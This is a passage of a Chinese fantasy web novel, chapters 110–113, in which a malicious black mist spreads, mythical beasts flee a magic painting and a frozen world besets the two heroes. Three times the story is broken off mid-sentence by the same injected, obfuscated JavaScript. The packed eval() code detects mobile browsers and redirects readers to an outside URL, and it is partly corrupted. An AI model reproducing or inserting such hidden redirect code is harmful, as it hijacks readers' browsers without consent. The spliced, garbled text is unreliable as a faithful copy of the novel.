“骗人可不是好习惯,你从家里跑出来了?”独孤尽看着男孩的神情,姑且猜测了一下。 “我没有!”男孩急着否认,他可不是自己跑出来的,是他的家人不要他了。 “是就是,没什么不好意思的。”独孤尽鼓励男孩,试图让他说真话。 “不是!”男孩用力摇头,他指了指别馆方向,可他刚冒头就看到从别馆里出来的佣人,立马又钻回了草丛。 “他们看不见你,但能看见我,如果你不告诉我实话,我就站在这里,让他们过来问我,到时候也就看见你了。”独孤尽看着男孩从刺猬的状态逐渐变成想要咬人的小猫咪。 “是我爸把我丢出来的!是他们先不要的我,休想再找我回去!”男孩声音不高,他怕被人发现,但又不得不跟独孤尽解释。 “你爸把你丢出来了?”独孤尽看的比男孩多,如果真是那家的男主人把男孩丢出来的,那他肯定是知道自己没多少时间可以蹦哒了,为了让男孩可以少经历些腥风血雨,少看些少儿不宜的镜头。 “那你就现在这里窝着吧,我还要去别处,晚点如果你还没被人发现,就接你去别的地方。”独孤尽把话撂这儿了,他得去警局再探查一下。 如果这个别馆主人已经发现自己的家被盗了,那警局那边也会有麻烦。 警方还在纠结着到底放不放人这件事,就看到独孤尽从外面走进来了,立马围过来问他,“你是一直和春警官形影不离的那位,春警官人呢,我们找他有点事。” “是不是要问他能不能把犯人接走?”独孤尽猜完后,就看到大家石化般的震惊神情,他只能解释道,“这可不是我说的,是春警官提前告知我的。” “春警官料事如神,我们确实有这个想法,实不相瞒,外面对我们扣押这波人有意见,也不知道对头是哪家,至今还没能查出个所以然。” “我知道是谁胡乱举报,就是这幕后的大boss,你们可能不信,但他基本上算是手眼通天了,想让你们放人也只要用这种小伎俩就可以了。”独孤尽想了下别馆主人,“可以放一些无关紧要的乞讨者出去,再留意一些重要的问询也一样。” “对了,刘向荣不能放,他是重要线索,必须留住!”独孤尽竖起一根手指勾了勾,“他是唯一能够跟幕后那位抗衡的人。” 110. 言灵攻击 其他的乞讨者虽然被陆陆续续放了回去,但他们并不想离开警局,可以说,如果可以,他们愿意一直呆在局子里,外面的世界对他们来说太危险了,在局子里虽然没有自由,但其他什么都有。 而外面的世界他们不仅没有自由,连最基本的生理形态都没法保证原样,说不定什么时候就要断胳膊断腿。 尤其那些原本被“怪奇诊所”的幻境影响得觉得自己残缺的人,现在在警局里,身上哪儿都没少,好好的,就更依赖局里了。 警方也没想到这些人压根不想出去,可见那些要他们出去的人有多不怀好意。 “你们要实在不想走,可以在附近转转,但必须派一人出去,让他们看到我们放人了,否则我们这边也没法交代。”警方看他们的行为,也能猜到大致原因。 “左哥,你去吧。”万义蒋看了左志一眼,他现在恢复了之前的状态,更加害怕一走出警局就又变成之前的模样。 “万义蒋!你能坐上这个位子真是……”左志看不上万义蒋,他本就是靠着出卖别人而保全了自己的四肢,现在只缺了那么几根手指。 可万义蒋却只是讪笑着,没有接茬,他确实是靠着这点走到今天的,但是他不后悔,他要活下去,更好地活下去就只能这样。 就算拉再多的人下水,他也要这么做。 独孤尽还没离警局多远,可扑面而来的恶意让他差点吐出来,那是一种前所未有的恶心感觉,头晕目眩,强烈地攻击他。 不好,碰上对手了。 这是独孤尽那一瞬的感觉。 紧接着,他还没反应过来,喉头就涌上了一股腥甜,浓重的铁锈味充斥了鼻腔。 他低头看着地上地上刺目的红,脸色煞白。 强忍着不适感将自己的感知力放大最大,才能感知到有一抹如同影子一样的东西藏在黑暗之中。 他试图用精神力将那东西揪出来,可太滑不溜手了,刚触碰到边边角角,就又藏入了阴影中。 “呕——”不知道究竟伤了哪里,独孤尽逐渐觉得自己喘不上气了。 不好,他要回去,要先回画里,还不能被那东西看见。 否则,他有预感,那东西会追着他进入画里。 独孤尽从没那么一刻希望自己真的是天上下来的人,能够抵抗所有危险,倒不是为了什么大的正义,只是,这样,春渐满就不会为他担心了。 他也能真的做到跟春渐满保证过的事,让他好好养病,不用操心外面的一切。 凭借着最后一丝理智,独孤尽还是选择了回画里,他不能就这样在现世失去意识。 画里还有他的那些神兽们,还有他的春警官在。 春渐满醒的时候,画里已经天翻地覆了,不知道被谁鸠占鹊巢,那些神兽都跑了,不知所踪,原本区域划分鲜明的世界变得浑浑噩噩,大片大片的灰色调,像是笼罩了怎么也无法驱散的乌云。 “独孤尽?”春渐满只是轻声问了一句,那喃喃的声音没被独孤尽接收到,反而被其他不知名的东西接收了去,浓重的黑雾将他裹挟,消失在了画里。 “春……春渐满……”独孤尽眼睁睁看着春渐满也被那东西绑了来,同样迷晕了捆缚在树上,喉头又要涌出鲜血。 刚退了烧的春渐满身体还很虚,根本经不起黑雾这样的折腾,意识很快就被抽离,他垂着脑袋,晕死过去。 独孤尽强忍着头痛欲裂的感觉,继续放出感知力,与那团黑雾对抗,可黑雾太过强大,且在短时间内就比之前强大了数倍。 不对劲,不对劲! 独孤尽尽力寻找突破口,每一寸都极尽努力地寻找。 “耳鼠!”他看见了一个熟悉的身影,可那身影站在一条裂缝前,前脚已经往外迈了。 “主人……”耳鼠往后看了一眼,这一眼让独孤尽遍体生寒,他看见耳鼠眼里有一种很不舍又很冰冷的情绪。 他眼睁睁看着耳鼠转过身,被那条缝隙吸走,消失殆尽。 兴许,他不是被裂缝吸走的,而是自愿出去的。 兴许,所有的神兽都跑了! 如果神兽全都去了现世,那人间就要遭殃了! 天下要大变了! 这样的天象,难道天上没一人下来管吗? 独孤尽想了想从小到大看到的神话故事,似乎神仙们都没有七情六欲,都会冷眼旁观世间一切,除非凡间有人闹上天庭。 不得不管。 他不信自己是这个凡人,虽然天将降大任,必先苦其心志,劳其筋骨,饿其体肤,但他觉得自己还没到那个程度,自从有了画,他一直在工作,可远远没到被锻炼的程度。 他放弃了再将感知力放出去追寻,他知道那团黑雾的真身了。 那是最强烈的恶念,只是不知道这东西一开始是从何而起的,但现在发展壮大明显是因为他画里的这些神兽出去了。 可能没了束缚,短时间内就已经做出了许多不利人类的事。 “满哥,醒醒。” “满哥,满哥……” 独孤尽试图唤醒跟他一样被绑缚在树上的春渐满,他想把春渐满送出画,原本春渐满就是被他连累的,本来,他可以好好在现世做他的警察,而不是卷入这些神异的事件。 在春渐满跟他表决心的时候他就不该心软,就不该在那个时候就心存幻想,对春渐满的幻想,对美好的幻想。 独孤尽觉得自己真是鬼迷心窍了,也真的是太自大了,以为自己就能主宰世界了,没什么能难倒他了,足够保护他在意的人了。 太可笑了,永远不要忘了人外有人,天外有天。 这么消沉了一阵子,独孤尽突然反应过来,黑雾可能就有侵蚀人心性的能力,如果他上了当才是真的完了。 “满哥!快醒醒!我们一起出去把那群崽子带回来!”独孤尽用了极大的力气呵了一声。 他的嗓子剧痛,胸口也在闷闷作痛,但他喊出来之后,心情舒畅了很多。 “满哥!天下人需要我们一起去拯救!你追求的正义现在正需要你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689007|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “满哥!再不醒,那些好吃的店都要被坏人嚯嚯光了!快醒醒!” “满哥!” “满哥!” “满哥!” 在一声声充满希望的呼唤下,春渐满终于张了张嘴,“别喊了……” “吵死了……” “满哥!你醒了!心里郁不郁闷?!别想那些阴郁的事,这东西能影响每个人的心情,快想些阳光的,正面的,积极的,快跟我一样发发疯!”独孤尽的语调是极度上扬的,他需要靠这样的行为来让自己不被黑雾影响。 但这在正常人眼里真的很神经。 春渐满恰巧就是那个正常人,而他现在被那喊声影响的格外心烦意乱。 这不是对着独孤尽该有的情绪,他明明那么喜欢独孤尽,那么欣赏独孤尽,即便他没有明着对春渐满说出来,可他都在心里放着,跟明镜一样,现在这种情绪绝对不可能出现。 “独孤尽!我喜欢你!很喜欢你!”春渐满察觉到事情的严重性,且现在这股莫名的躁郁影响得他已经没有不好意思的情绪了,只能把那些压在心底无法说出口的话全喊出来。 独孤尽被春渐满的喊话惊了一跳,那一瞬间,他觉得自己的正常情绪回来了,可下一秒,阴郁的黑雾又开始影响他。 都是假的……都是假的……如果是真的,他为什么早先不说,非要在这种时候才说? 都是假的,这种喜欢只是嘴上说说…… 不对!他的春老师,他的春警官,他的满哥!是最好的人!他会把自己的心思藏在心里,也绝对不会说瞎话! 但凡他说出来的,一定是真的! “我也喜欢你!满哥!我也很喜欢你!我们一起出去!一起出去!”独孤尽强压下那些攻击他的负面情绪,继续用力喊着,期望他的回应能够让春渐满也充满力量,足够抵抗那股黑雾。 “独孤尽!你不是特别厉害吗?!这东西就是个小角色,你一击就能把它打败!快动手!”听到独孤尽的喊话,春渐满明显觉得自己的状态好多了。 这种言灵的力量太过神奇,他的学习能力一向都很强,立马掌握了语言的用法,如果他坚定相信独孤尽的能力,一定可以让那团黑雾更弱! 他相信独孤尽! “对!我一定可以一击就把那东西铲除!我是谁啊!我是最厉害的!”独孤尽也跟着春渐满喊,可他越喊,那团黑雾就越嚣张,紧巴巴地一句又一句攻击他。 你只是个凡人,怎么能妄想对抗世间所有的苦难。 做不到的,别白费劲了,你只是一个人,一个人的力量很有限的,你什么也改变不了。 这个世界本来就坏透了,你为什么还要费劲拯救它? 有这些力气不如让自己舒服点。 别挣扎了,别挣扎了,没用的,没用的。 “满哥!看我一击就将它击败!它已经着急了!它越来越弱了!”独孤尽眼里迸出浓烈的光彩,这黑雾越着急,说明他们真的找对方法了,攻破只是时间问题! 111. 割肉分骨 世界各处都出现了不知名的黑雾层层叠叠盘旋在天空中,已经引起了气象局的强烈重视,也有人好奇,拿出了专业的设备蹲点拍摄。 这些黑雾从一开始高高的一个小团,逐渐压低,有的甚至快将高一些的楼屋吞噬进去了。 “是不是有台风要来了?”这种自然景观虽然稀奇,可对于现在见多识广的人来讲,也没有那么在意了。 毕竟随着时间,天象已经越来越怪异,今天暴雨,明天冰雹,后天再下雪,大后天暴晒,都有可能,有的城市甚至能体验一天四季,更有东边暴晒西边冰雹的情况。 最先发现问题的是居委会,本来和睦的邻里突然变得狰狞。 平日里可能也会有些小摩擦,但文明和面子永远是最后一层遮羞布,很少有人愿意直接撕破。 但今天不一样,同一个小区的高楼住户都疯魔了。 那状态不得不用疯魔来描述。 各个张牙舞爪,就像是被什么附身了一样,而且居委会的工作人员发现,这些人聚集过来后,他们磨练许久,已经变得平和的心态也急躁起来,越来越压制不住自己的脾气。 “柯嫂,消消气,先喝点水,您和您家先生一直是模范夫妻,我们大家都知道的,没有什么事情非要闹成这样,何至于把人打得鼻青脸肿。”强压下心里翻涌的急躁,耐着性子安抚。 “模范夫妻都是虚的,日子要靠自己过,谁乐意跟他过谁跟他过,你要喜欢你把他带回去好了。”柯嫂说话夹枪带棒,她用力踢了一脚椅子,发出摩擦地面的刺耳声响。 这一声像是点燃了什么导火索,直接把居委会的工作人员也惹火了,原本拼命压抑的怒气被黑雾牵引,腾升出一大片,直接笼罩了她全身,双眸变得更深不见底,连一丝光也无了。 接下来就是非常混乱的混战,全都变成了原始的动物。 靠着本能驱使,发泄自己的情绪。 这一情景出现在各个居民楼中,从最先遭殃的高楼用户到中层,很快引起了警方的重视。 已经有很多看守所里聚满了人,而这些人也影响了警方的工作人员。 一瞬间,世界上好像再无一片净土。 独孤尽彻底将画里的黑雾驱散挤走后,他想带着春渐满去现世,却发现自己心念转动后,无法瞬移。 如果他丧失了这些能力,那他就与普通人无异,一个普通人,又如何拯救世界? 再次被迷茫笼罩,春渐满看了他一眼就发现独孤尽陷入了低沉,立马抓起独孤尽的胳膊在上面咬了一口。 “满哥你干什么?!别以为我喜欢你就可以对我……”独孤尽的话还没说完,就瞧见了春渐满眼中深深的担心。 那份浓重的情绪一下子化解了他的阴郁。 轻咳了两声,正了正自己的语气,“你别担心,我没事,我们一起努力肯定很快就能出去了。” 说实话,独孤尽的胳膊除了被咬的有点疼之外,之前被绑在树上那才叫真的痛,到现在就有点儿不灵活。 “别得意忘形,时刻记得自己该做的事。”春渐满冷冷地提醒独孤尽,他只能用这种语气,否则他怕自己也火起。 时刻记得…… 独孤尽在心里默念了几遍,突然灵光一闪,想起了一个重点。 他之前看到神兽们是从一条裂缝中出去的,那是不是说明,他们也能这么出去?! 即便不靠着他的能力,也能找到其他方式出了画的世界。 “跟我走。”独孤尽扣住春渐满的手腕,牵着他朝自己印象中看到的地方过去。 春渐满强压下那股不耐,没有甩开手,每次想要甩开,他就暗暗掐醒自己。 这种提醒对他很管用,原本就是极度自律的人,在这种时候就显得格外靠谱。 相反独孤尽很不适应,他随性惯了,尤其有了这幅画之后,更加随性,很多事情都由着自己了,现在被黑雾影响起来也就更加轻易。 内心的怪物很容易跳出来,只不过这怪物碰上了春渐满就不得不老实了,缩头缩尾。 刚冒头就要被一拳打回去的。 眼冒的不是金星,而是桃心。 “满哥!找到了!我们从这里出去,回现世,把那些崽子都抓回来!”独孤尽说出这句话后莫名有种很熟悉的感觉,好像几千几万年前,他也曾对着谁说出过这句话,也曾经历过这一切。 但山石移转,是海不是海,是山不是山,哪里都变了。 这股熟悉也一闪而过,独孤尽想要抓住,抓了许久都没抓住。 “那还愣着干什么,快出去。”春渐满继续用平静且冷淡的语调催促。 独孤尽紧紧扣着春渐满的手,踏进裂缝的那一瞬,一种前所未有的恐惧席卷了他,比之先前更甚,就像是有什么即将离他而去,且永远都夺不回了。 那种遗憾感让他的眼角流下了一行清泪,随着空间挤压,化作碎星,留在了春渐满手中。 春渐满看着空空的手掌,他的指尖微湿,心脏猛地生疼,随即大脑一片空白。 他好像忘了什么很重要的事。 是必须完成的事。 是非他不可必须完成的事。 这里是哪里?他很熟悉,又好像不属于他。 春渐满看着空旷的世界,拥堵的空气闷在他的心口,像是连呼吸都不会了。 独孤尽怅然若失地看着在他身后闭合的裂缝。 他没有把他该保护的人带出来。 一切都是虚妄,他什么都没能做到。 他的保证,他的决心,都像是假的。 不对! 不对! 要相信自己! 一切还没到最后,他还有机会! 他和春渐满还有机会! “好冷。”喃喃自语很快被飓风吞噬。 这个世界是苍白的,冰冷的,没有人情味的。 不是他所认识的世界。 糟了,太迟了,他出来的太迟了。 独孤尽看了眼大雪覆盖的世界,所有的一切都被冰封了,街上被一层层透明刺目的冰笼罩,独孤尽踩了一脚,差点滑倒。 他现在简直寸步难行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689008|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有人吗?!” 他扯着嗓子喊了一声,呼啸的寒风很快盖过了他的声音。 季节不对,天气不对,路不对,什么都不对。 他继续心念转动,试图定位到认识的地方,可他闭眼,再睁开,甚至试图升腾起水汽,都成了无用功。 “九尾狐!” “蛊雕!” “葱聋!” “文鳐鱼!” “耳鼠!” “猲狙!” “合窳!” 独孤尽将一个个神兽的名字都喊出来,眼角的泪已经干涸。 “你们在哪里?!速速归来!否则就不是小小的惩罚了!” “再不出现,我必将你们一个个抓回,严惩!” 吓唬完后,独孤尽自嘲地嗤笑了一声,一旦他失去了那些力量,神兽们也就失控了,哪里会听他的。 可就在他这么认为是,脚踝处有什么柔柔软软的东西在蹭他,只不过不是熟悉的温暖,是冰冷的。 “主……人……救我……”耳鼠的皮毛上全是鲜血,且结成了冰,眼睛里已经蒙了一层灰雾。 独孤尽僵硬了一瞬,蹲下身将耳鼠轻轻抱了起来,“怎么回事?!” “我们……被追杀了……”耳鼠忍着疼痛,深吸了一口气才把话说出口。 “你们……”不是自己逃出画的吗? 独孤尽脑海里全是怀疑,可眼前的事实让他不忍再怀疑,他轻轻抚了抚耳鼠的耳朵,那双长耳朵上的毛全没了,不知道是被什么弄得血肉模糊,凹凸不平。 而神奇的是,神兽被他安抚后,竟身上莹润出了一圈光晕,身上的伤痛开始修复。 速度不快,但过了一会儿后,竟修复如初了。 耳鼠变得温暖,瘫软在独孤尽怀里,“主人,谢谢……谢谢……” “其他神兽呢?它们在哪?”独孤尽现在不想管它们到底是不是自己的意愿出逃了,只想把每一只都找到,塞回去,之后怎么惩罚之后再说。 “我不知道,我们出来之后就都分散了。我被塞入了其它生物体内,进入了屠宰场……”耳鼠回忆了一瞬,耳朵都害怕得抖了两下。 可仍旧没放弃回忆,只希望能帮上一点忙。 “我被宰杀了,但是我有一定的灵力,没被杀死……分离出来,跑走了。”耳鼠又开始发冷,它从来做的都是治愈他人的事,当被需要他治愈的人拿着刀对它一下下割肉分骨时,它崩溃了。 “主人……我不想再治愈人类了。”耳鼠把耳朵都垂下了,它不敢睁开眼看主人的神情。 “连你们的春老师也不救了?”不知怎么,独孤尽突然感到一份安宁,心里没那么焦躁了,也能好好说话了。 “春老师怎么了?!春老师受伤了吗?!”耳鼠没了先前的敌对情绪,在它的世界里好像直接把春渐满分离出了人类的范畴。 春渐满就该是单独分类的。 “他被留在画里了,一个人,可能会受伤,你救不救?”独孤尽没那么绝望了,好像他治愈了神兽,自己也被治愈了一样。 112. 黑雾缭绕 数万年前,耳鼠被抓到封印进画里的时候,还不通人事,小小一只。它最喜欢的就是施展治愈之法,对着折了的草木撒点儿,对着伤了的小动物撒点儿,偶尔也会对着山里迷路后昏迷的人撒点儿。 它没被人类伤害成这样过,也就最容易陷入人类的陷阱,只不过,先前说被独孤尽抓到的,独孤尽作为它的主人,从未对它做出过过分的事,虽然偶尔让它用血肉救治一些人类,但它能复原,也不是这般残忍恶劣的虐待行径,它的心理从未被伤过。 它一直以救治为乐,可救治,竟然会如此痛苦。 春老师怎么会伤了,春老师怎么可能会伤了。 它得救,它必须救,但会痛的……会很痛的…… “耳鼠……耳鼠!”独孤尽一边呼唤一边轻拍耳鼠的脸颊,“醒醒!” 耳鼠陷入了混沌之中,一直垂着的脑袋在独孤尽的轻拍安抚下,终于抬了起来,“我怎么了?” “别被影响了,先跟着我。”独孤尽一手兜着耳鼠,一边朝前走。 这已经不是他认识的世界了,只能茫然地乱逛。 耳鼠显然也记不清别的了,它只是安静伏在独孤尽臂弯里,像一只玩偶。 “下来。”路边有很多废弃的车辆,独孤尽找了许久,才找到一辆车里有人的,他伸手敲了敲车窗。 “你,你是谁?!别过来!别过来!”车里的人显然被巨大的转变惊吓过,看到独孤尽更是怕得恨不能直接发动车子开走。 可他的腿没法动了,被冰住了,他也受了伤,双腿鲜血淋漓,而这些鲜血全变成了冰柱。 “下来,别让我说第三次。”独孤尽暴戾的一面又被黑雾影响出来,他深吸了口气,才平缓几分,“借你车一用,我给你治疗。” “治疗?”那人恍惚地看了看自己的腿,声音带上了几分悲戚,“治好了又能怎样,治好了,治好了……也回不去了。” “怎么了?”独孤尽把车窗上的蒙起的雾气擦掉,“先下车。” 那人并没理会独孤尽,反而发动了汽车,似乎准备鱼死网破。 独孤尽见状找了辆废弃的公交车,取了安全锤,用力捶碎了那人的副驾车车窗。 那人虽然发动了汽车,可他的脚无法行动,想要踩油门也踩不动,被独孤尽的这一下吓到,反而一脚跺了上去,车往前冲了几米,独孤尽的手还抓在车窗边缘,因为用力,掌心被玻璃扎伤。 “主人!”原本还像玩偶一样挂在独孤尽身上的耳鼠闻到血腥味瞬间炸毛。 这个世界不容许人受伤,否则血液就会被冰住,从而那块机体就无法再使用了。 耳鼠记得自己连走路走无法走的样子,自然不想独孤尽也变成这样。 可它越着急,能力就越使不出来,索性那司机似乎被独孤尽涌出来的血给吓到,身体往后坐了坐,腿也没怼在油门上了。 “现在可以下来了吗?四遍了。”独孤尽愈发不耐烦,这回司机没拒绝独孤尽,只是把车座往后挪了挪,让独孤尽可以更加清晰地看到他的腿。 “我下不来,腿动不了。” “其他的不用你管,只要你同意,我会帮你。”独孤尽得到答案后,直接从里面打开了车门,将司机抱下了车,平放在地上,给他进行治疗。 莹润的光一瞬就笼罩在了司机身上,从头到脚都覆盖住了,他身上呢显然不止腿上一处受了伤,也不止一处流血被冻成冰。 司机震惊地看着自己的肢体逐渐恢复知觉,旋即伸手抓住独孤尽的胳膊,“救救!救救我女儿!救救她!” “她妈妈没了,我只有她一个亲人了,救救她!”那人原本如死灰的眼睛里出现了一丝光,而又治疗了一人的独孤尽觉得自己心绪又平和了些许,他点了点头,继续安抚司机,“别急,告诉我,她在哪里。” “在……在哪里……”那人沉思了片刻,似乎无法说出女儿具体的位置,越来越急,眼睛逐渐充血。 独孤尽见状不好,立马继续安抚司机,“我来找她,有她的照片吗?” “有,在驾驶证里,我夹在驾驶证里。”那人指了指车上。 独孤尽摸了好一会儿,才在夹缝里找到他的驾驶证,里面果然有一张女孩的照片。 “我们沿路找,总能找到。”独孤尽骗了司机,他不确定能不能找到这个女孩,如果是之前,他只要让春渐满帮忙,在库里对比一番,就能找到女孩的大致位置,他也能定位瞬移过去。 可现在,他的能力似乎变成了治愈人,其他的一概不知。 男人从地上爬了起来,刚想坐到副驾驶就被独孤尽拦住了。 “这边都是碎玻璃,你坐后面。”独孤尽虽然打开了副驾驶的门稍微清理了一下,但碎玻璃容易扎在座椅上,不被人察觉,没仔细清理的情况下,最好别坐人。 他可没工夫再给他治疗一回。 耳鼠又变成了“玩偶”,安安静静伏在独孤尽腿上,为了应付突发情况,独孤尽甚至连安全带都没带,这要是让春渐满知道了,绝对会让他背交通法规,并让他义务执勤。 可独孤尽现在特别希望自己能被春渐满惩罚,他只要能见到春渐满就是好的。 这样才能安心。 不至于空落落的难受。 街上已经分不清哪里是汽车该走的道路,也分不清哪里是行人该走的道路。 甚至连行人都没有。 不知道都去了哪里。 远远的,能看到巨大的黑雾盘旋成一个个螺旋,有的挂在树上,有的挂在窗上,有的已经侵占了房屋。 它们把人类驱赶出了人类的栖居地,甚至为了泄愤,将人类撕裂,并把他们冻住。 独孤尽一边开车,一边目睹了一些惨剧,他来不及阻止,也不知道如何阻止,有些他停车后过去,还能将人救治得恢复如初,有些他赶过去时,已经太晚了,人已经没了呼吸。 “走吧。”他在一具尸体前放了朵花,转身而去。 “这是病毒吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689009|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”车后座的男人始终不敢出车门,他见独孤尽回来,赶忙问起来。 “不是,但比病毒可怕。”这东西有传染性,且传染上必伤,至于会不会死,那就看运气了。 病毒影响的是人的身体,而这东西影响的是人的心智。 独孤尽不知道自己前行了多久,直到耳鼠偷偷咬了他一口,才回过神。 “去吃点东西。”他得吃东西,车上的这人也得吃东西。 “好,好,吃点。”男人总算等到了独孤尽停车,松了口气,否则他觉得自己就算被救好了,也要饿死了。 街边已经没有在营业的店铺了,一旦城市不通电,就像末世的废城,格外荒凉,也格外恐怖。 独孤尽找了一家24小时营业的便利店,里面有不少保质期很长的干粮,他拿了一些,又取了些水,塞进了后备箱。 “吃一些,外面太冷了,没有能量没法再往前走。”独孤尽记住了这家便利店。 他现在没法给钱,电子化太普遍,他已经很久都没揣现金在身上了。 只能等世界恢复正常,再过来补款。 虽然,连这个世界能不能恢复他都不确定,但人总是要奔着希望走的。 “你要吃什么?”他抛了几袋面包给男人,把剩下的摊开让耳鼠挑。 耳鼠觉得自己不饿,它喜欢吃的这里也没有,它能感觉到吃这些人类的东西并不能补充它的能量。 “那晚点给你找你喜欢吃的。”独孤尽看出耳鼠的意思,随手拆了包吐司,就着矿泉水就这样胡乱嚼了一通。 独孤尽从没吃过这么难吃的东西,他一向精细惯了,从来没在吃的上吃过亏。 就连面包也都是现烤的,或者商店里烤好的,这种保质期很长的零食,他还真不喜欢。 但他现在连画也回不去,只能靠着这些维持生命,如果他真的是从天上下来的,那他究竟要什么时候才能恢复所有的能力,他恢复之后,又能有多少能力? 独孤尽看着自己的双手,一时间竟然不认识自己了。 “主人?”耳鼠没管车后的那人,它探了探脑袋,提醒独孤尽不要被影响。 “谢谢。”独孤尽一点就通,知道自己又陷入了黑雾的陷阱,他吐出一口浊气,把最后一口吃完,重新启动车子。 画的世界里不仅有春渐满,还有没能出去的画。 它作为画世界的本体,无法离开这边,强烈的惊惧让它不敢动也不敢出声。 它忽然明白了为什么之前主人勒令它不准说话也不准动了。 因为……哪怕是最亲近的人……也有可能出问题。 它悔不当初,如果冷汗能具像化,它整张画都要变成大海了。 “出来吧。”只是轻飘飘的一句,就让画无法不听从,它从墙上掉落下来,跟上了那个熟悉又似乎从未认识过的人。 春渐满原本精干的短发长至脚踝,还在不断生长,浓烈的黑雾缠绕在他周身,丝丝缕缕,让他看不真切。 113. 解救九尾狐 画飘在春渐满身后,跟着他,不知道往哪儿,只是跟着。 春渐满逐渐变得太奇怪了,画根本不敢出声,生怕惊扰到春渐满,从而发生不好的事。 春渐满走过一塌糊涂的地方就直接抬起手,将挡了他路的一切都扬尽。 就连楼宇也被他挥散了,独孤尽最喜欢的那片花海也凋零了,变成漆黑的海。 “你,把这里打扫干净。”春渐满站定,他没有扭头,没有情绪起伏地对跟在身后的画吩咐。 “好。”画立马应了下来,这里毕竟是它的空间,让它把一块地方变干净还是特别容易的。 春渐满重新将这块地方规整出来,有荷塘有亭廊,他坐在廊上看着满池荷花,周身的黑雾不断蔓延,缠绕在荷花上,很快新鲜的荷花就枯萎过去,池水也变得黢黑。 “打扫。” “好。”画只能把这一块重新清理了,换上新鲜的荷花和干净的池水。 随着时间越来越久,春渐满糟蹋这些花叶的时间越来越短,画有点儿跟不上了,它急的恨不能立马逃出去,这种情形它真不知道要如何应对,如果被主人知道它在助纣为虐,一定要将它狠狠惩罚了。 到时候它连普通的画都不是,从法器直接变成废纸。 “快点!”春渐满催促画,他觉得身体里的力量愈发充盈,想来再过段时间,所有的一切都阻挡不了他了。 春渐满催得越紧,画就越磨蹭,这太恐怖了,这种能量的汇聚太恐怖了,它不想自己酿成大祸,只能尽可能慢一些。 “要你何用?”春渐满不知看没看出画的敷衍,只是挥手将画打出了老远,他张开手掌,里面有一朵荷花一样的印记,只是轻轻吹了口气,那荷花就飘到了黢黑的池水中,原本如枯槁一般的荷花就都复活了,池水也澄澈干净。 画摔在地上好久都没知觉,好一会儿才缓过神来,没再看春渐满那边,它知道有个地方能通往现世,只不过它不知道自己能不能逃的出去,它要再试一次。 春渐满没再管画,他好像什么都不在意了,他已经成长到不用在意任何人的程度。 独孤尽似有感应,心脏突然痛了一瞬,他停下车,捂住心口。 “主人?哪里不舒服,我帮您治疗。”耳鼠着急地往独孤尽身上凑。 “我觉得很不好,有什么在变得更坏。”独孤尽之前的感知力可谓逆天,虽然现在他没了这种能力,但直觉仍旧很准。 “还能有更坏的事?!”耳鼠刚反问完,就透过挡风玻璃看到了一个熟悉的身影,“九尾狐!” 独孤尽立马下车朝九尾狐的方向过去。 九尾狐幻化成了一位少女的模样,正坐在一棵发着柔光的树下梳理头发。 那动作跟人类千差万别,即便是普通人类都不会把她当成人类。 “阿尽,你来的也太慢了,我等了很久。”九尾狐并没起身,反而继续梳理长发。 “我现在没法离开这棵树,它非要我帮忙把它的根系清洗干净,你快帮我想想办法。”九尾狐头疼地抚上树干。 她是最先逃离画的那批神兽,本只想多吃点好吃的,在人间做做乱,倒是没打算惹出多大的事,可谁知道一出来外面就已经在天翻地覆变化了。 好吃的没吃到,人也没惹到,反而被一棵大树挡住了去路。 这是一棵足有千年的榕树,盘根错节,好多根系都露出了地面,还被一些小动物做了家,有的地方已经染上了毒,坏死了。 它拦住九尾狐的时候,跟九尾狐打打了一架,九尾狐累得最后靠在树干上喘气,可这棵树却没伤到根基,甚至吸收了九尾狐流出的血,将九尾狐的命数跟它相连在了一起。 这下,九尾狐不得不在这里看着它,帮它赶走一些不识好歹的小动物,否则她也会觉得身上疼痛。 “这么大的树,没法清理根系了。”独孤尽看了一眼,立刻否定了这个行为的可行性,可九尾狐不依不饶,“你如果不帮忙,我就跟它联手,来一个人杀一个人,来一队人杀一队人,反正我也不是人类。” “杀了人,你就无法成仙了。”独孤尽下意识脱口而出,可这件事是他先前不知道的。 独孤尽抿了抿唇,他觉得自己身体里似乎有什么在苏醒,可能是那个更了解这个世界的他。 “要什么成仙,你成仙了,开心吗?你也不开心,也不能肆意妄为,还是得受天庭的条规约束,有什么意思。”九尾狐冷哼了一声,她眯起了那双足以摄人心魄的眼睛,背对独孤尽,树叶遮住了光,将她笼进黑暗。 “你过来。”独孤尽意识到事情的严重性,朝九尾狐伸出手。 九尾狐没回答他。 “你出来,主人能救你。”耳鼠也朝着里面喊。 “耳鼠,你一向胆小,只会跟在人身边,寻求别人的庇护,现在也妄想来说服我了?”九尾狐没一点客气,她在黑暗里,声音也变得模糊。 